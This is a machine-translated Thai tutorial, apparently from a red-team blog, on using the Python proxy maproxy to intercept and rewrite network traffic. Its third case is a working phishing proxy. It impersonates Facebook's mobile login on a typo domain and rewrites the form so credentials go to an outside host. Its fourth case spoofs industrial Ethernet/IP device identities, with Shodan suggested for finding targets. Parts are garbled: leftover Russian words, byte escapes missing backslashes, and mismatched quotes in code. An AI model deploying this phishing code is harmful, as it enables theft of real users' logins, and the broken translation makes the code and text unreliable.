การแปลบทความจัดทำขึ้นในวันเริ่มต้นหลักสูตร
นามธรรม
การประเมินความปลอดภัยหลายประเภท ตั้งแต่การทดสอบการเจาะระบบปกติและการปฏิบัติงานของทีมแดง ไปจนถึงการแฮ็กอุปกรณ์ IoT/ICS และ SCADA เกี่ยวข้องกับการทำงานกับโปรโตคอลเครือข่ายไบนารี ซึ่งก็คือ การดักจับและแก้ไขข้อมูลเครือข่ายระหว่างไคลเอนต์และเป้าหมายเป็นหลัก การดมกลิ่นการรับส่งข้อมูลเครือข่ายไม่ใช่เรื่องยากเนื่องจากเรามีเครื่องมือเช่น Wireshark, Tcpdump หรือ Scapy แต่การดัดแปลงดูเหมือนจะเป็นงานที่ต้องใช้แรงงานมากกว่า เนื่องจากเราจะต้องมีอินเทอร์เฟซบางประเภทเพื่ออ่านข้อมูลเครือข่าย กรอง และเปลี่ยนแปลง ได้ทันทีและส่งกลับไปยังโฮสต์เป้าหมายแบบเรียลไทม์ นอกจากนี้ จะเหมาะเป็นอย่างยิ่งหากเครื่องมือดังกล่าวสามารถทำงานโดยอัตโนมัติกับการเชื่อมต่อแบบขนานหลายรายการและปรับแต่งได้โดยใช้สคริปต์
วันหนึ่งฉันค้นพบเครื่องมือที่เรียกว่า
เอกสารทำให้ฉันเข้าใจได้อย่างรวดเร็วว่า maproxy
– สิ่งที่ฉันต้องการ นี่เป็นพร็อกซี TCP ที่ค่อนข้างเรียบง่าย อเนกประสงค์ และกำหนดค่าได้ง่าย ฉันทดสอบเครื่องมือนี้กับแอปพลิเคชันที่ค่อนข้างซับซ้อนหลายตัว รวมถึงอุปกรณ์ ICS (ซึ่งสร้างแพ็กเก็ตจำนวนมาก) เพื่อดูว่าสามารถรองรับการเชื่อมต่อแบบขนานจำนวนมากได้หรือไม่ และเครื่องมือก็ทำงานได้ดี
บทความนี้จะแนะนำให้คุณรู้จักกับการประมวลผลข้อมูลเครือข่ายได้ทันทีโดยใช้ maproxy
.
ทบทวน
เครื่องมือ maproxy
ขึ้นอยู่กับ Tornado ซึ่งเป็นเฟรมเวิร์กเครือข่ายอะซิงโครนัสที่ได้รับความนิยมและเติบโตเต็มที่ใน Python
โดยทั่วไปสามารถทำงานได้หลายโหมด:
TCP:TCP
– การเชื่อมต่อ TCP ที่ไม่ได้เข้ารหัสTCP:SSL
иSSL:TCP
– ด้วยการเข้ารหัสทางเดียวSSL:SSL
– การเข้ารหัสแบบสองทาง
มันมาเป็นห้องสมุด เพื่อการเริ่มต้นอย่างรวดเร็ว คุณสามารถใช้ไฟล์ตัวอย่างที่สะท้อนถึงเนื้อหาหลักได้
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
กรณีที่ 1 – พร็อกซีสองทิศทางอย่างง่าย
ขึ้นอยู่กับ tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Поумолчанию ProxyServer()
รับสองอาร์กิวเมนต์ - ตำแหน่งการเชื่อมต่อและพอร์ตเป้าหมาย server.listen()
รับหนึ่งอาร์กิวเมนต์ - พอร์ตสำหรับฟังการเชื่อมต่อขาเข้า
การดำเนินการสคริปต์:
# python tcp2tcp.py
เพื่อดำเนินการทดสอบ เราจะเชื่อมต่อกับเซิร์ฟเวอร์ SSH ภายในเครื่องผ่านสคริปต์พร็อกซีของเรา ซึ่งจะรับฟัง 2222/tcp
พอร์ตและเชื่อมต่อกับพอร์ตมาตรฐาน 22/tcp
เซิร์ฟเวอร์ SSH:
แบนเนอร์ต้อนรับจะแจ้งให้คุณทราบว่าสคริปต์ตัวอย่างของเราประสบความสำเร็จในการพร็อกซีการรับส่งข้อมูลเครือข่าย
กรณีที่ 2 – การแก้ไขข้อมูล
สคริปต์สาธิตอื่น logging_proxy.py
เหมาะสำหรับการโต้ตอบกับข้อมูลเครือข่าย ความคิดเห็นในไฟล์อธิบายวิธีการเรียนที่คุณสามารถแก้ไขเพื่อให้บรรลุเป้าหมาย:
สิ่งที่น่าสนใจที่สุดอยู่ที่นี่:
on_c2p_done_read
– เพื่อดักจับข้อมูลระหว่างทางจากไคลเอนต์ไปยังเซิร์ฟเวอร์on_p2s_done_read
- ย้อนกลับ
ลองเปลี่ยนแบนเนอร์ SSH ที่เซิร์ฟเวอร์ส่งคืนให้กับลูกค้า:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
ดำเนินการสคริปต์:
อย่างที่คุณเห็น ลูกค้าถูกเข้าใจผิดเนื่องจากชื่อเซิร์ฟเวอร์ SSH ของเขาถูกเปลี่ยนเป็น «DumnySSH»
.
กรณีที่ 3 – หน้าเว็บฟิชชิ่งธรรมดา
มีหลายวิธีในการใช้เครื่องมือนี้ คราวนี้เรามาเน้นไปที่สิ่งที่ใช้งานได้จริงจากฝ่ายปฏิบัติการของทีมแดง มาเลียนแบบแลนดิ้งเพจกันเถอะ m.facebook.com
และใช้โดเมนที่กำหนดเองโดยมีเจตนาพิมพ์ผิด เช่น m.facebok.com
. เพื่อวัตถุประสงค์ในการสาธิต สมมติว่าเราจดทะเบียนโดเมนแล้ว
เราจะสร้างการเชื่อมต่อเครือข่ายที่ไม่ได้เข้ารหัสกับพร็อกซีเหยื่อของเราและสตรีม SSL ไปยังเซิร์ฟเวอร์ Facebook (31.13.81.36
). เพื่อให้ตัวอย่างนี้ใช้งานได้ เราจำเป็นต้องแทนที่ส่วนหัวของโฮสต์ HTTP และใส่ชื่อโฮสต์ที่ถูกต้อง และเราจะปิดใช้งานการบีบอัดการตอบสนองเพื่อให้เราสามารถเข้าถึงเนื้อหาได้อย่างง่ายดาย ท้ายที่สุด เราจะแทนที่แบบฟอร์ม HTML เพื่อให้ข้อมูลการเข้าสู่ระบบถูกส่งถึงเราแทนเซิร์ฟเวอร์ของ Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/th/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
ในสรุป:
อย่างที่คุณเห็น เราสามารถแทนที่ไซต์เดิมได้สำเร็จ
กรณีที่ 4 – การพอร์ต Ethernet/IP
ฉันจัดการกับอุปกรณ์และซอฟต์แวร์อุตสาหกรรม (ICS/SCADA) มาระยะหนึ่งแล้ว เช่น ตัวควบคุมโปรแกรม (PLC) โมดูล I/O ไดรฟ์ รีเลย์ สภาพแวดล้อมการเขียนโปรแกรมแลดเดอร์ และอื่นๆ อีกมากมาย เคสนี้เหมาะสำหรับผู้ที่ชื่นชอบงานอุตสาหกรรม การแฮ็กโซลูชันดังกล่าวเกี่ยวข้องกับการเล่นกับโปรโตคอลเครือข่ายอย่างจริงจัง ในตัวอย่างต่อไปนี้ ฉันต้องการแสดงวิธีที่คุณสามารถปรับเปลี่ยนการรับส่งข้อมูลเครือข่าย ICS/SCADA
ในการทำเช่นนี้ คุณต้องมีสิ่งต่อไปนี้:
- การดมกลิ่นเครือข่าย เช่น Wireshark;
- Ethernet/IP หรือเพียงแค่อุปกรณ์ SIP คุณสามารถค้นหาได้โดยใช้บริการ Shodan
- สคริปต์ของเรามีพื้นฐานมาจาก
maproxy
.
อันดับแรก มาดูกันว่าการตอบสนองการระบุตัวตนทั่วไปจาก CIP (Common Industrial Protocol) มีลักษณะอย่างไร:
การระบุอุปกรณ์ทำได้สำเร็จโดยใช้โปรโตคอลอีเทอร์เน็ต/IP ซึ่งเป็นเวอร์ชันปรับปรุงของโปรโตคอลอีเธอร์เน็ตอุตสาหกรรมที่รวมโปรโตคอลควบคุม เช่น CIP เราจะเปลี่ยนชื่อ ID ที่ไฮไลต์ซึ่งมองเห็นได้ในภาพหน้าจอ "NI-IndComm สำหรับอีเธอร์เน็ต" โดยใช้สคริปต์พร็อกซีของเรา เราสามารถใช้สคริปต์ซ้ำได้ logging_proxy.py
และแก้ไขวิธีการเรียนในทำนองเดียวกัน on_p2s_done_read
เนื่องจากเราต้องการให้ชื่อประจำตัวอื่นปรากฏบนไคลเอนต์
รหัส:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
โดยพื้นฐานแล้ว เราขอการระบุอุปกรณ์สองครั้ง คำตอบที่สองคือคำตอบดั้งเดิม และคำตอบแรกได้รับการแก้ไขทันที
และสุดท้าย
ในความคิดของฉัน maproxy
เครื่องมือที่สะดวกและเรียบง่ายซึ่งเขียนด้วยภาษา Python เช่นกัน ดังนั้นฉันเชื่อว่าคุณก็สามารถได้รับประโยชน์จากการใช้มันเช่นกัน แน่นอนว่ามีเครื่องมือที่ซับซ้อนกว่าสำหรับการประมวลผลและแก้ไขข้อมูลเครือข่าย แต่เครื่องมือเหล่านี้ยังต้องการการดูแลเอาใจใส่มากกว่าปกติ และมักจะสร้างขึ้นสำหรับกรณีการใช้งานเฉพาะ เช่น maproxy
คุณสามารถนำแนวคิดของคุณในการสกัดกั้นข้อมูลเครือข่ายไปใช้ได้อย่างรวดเร็ว เนื่องจากสคริปต์ตัวอย่างมีความชัดเจนมาก
ที่มา: will.com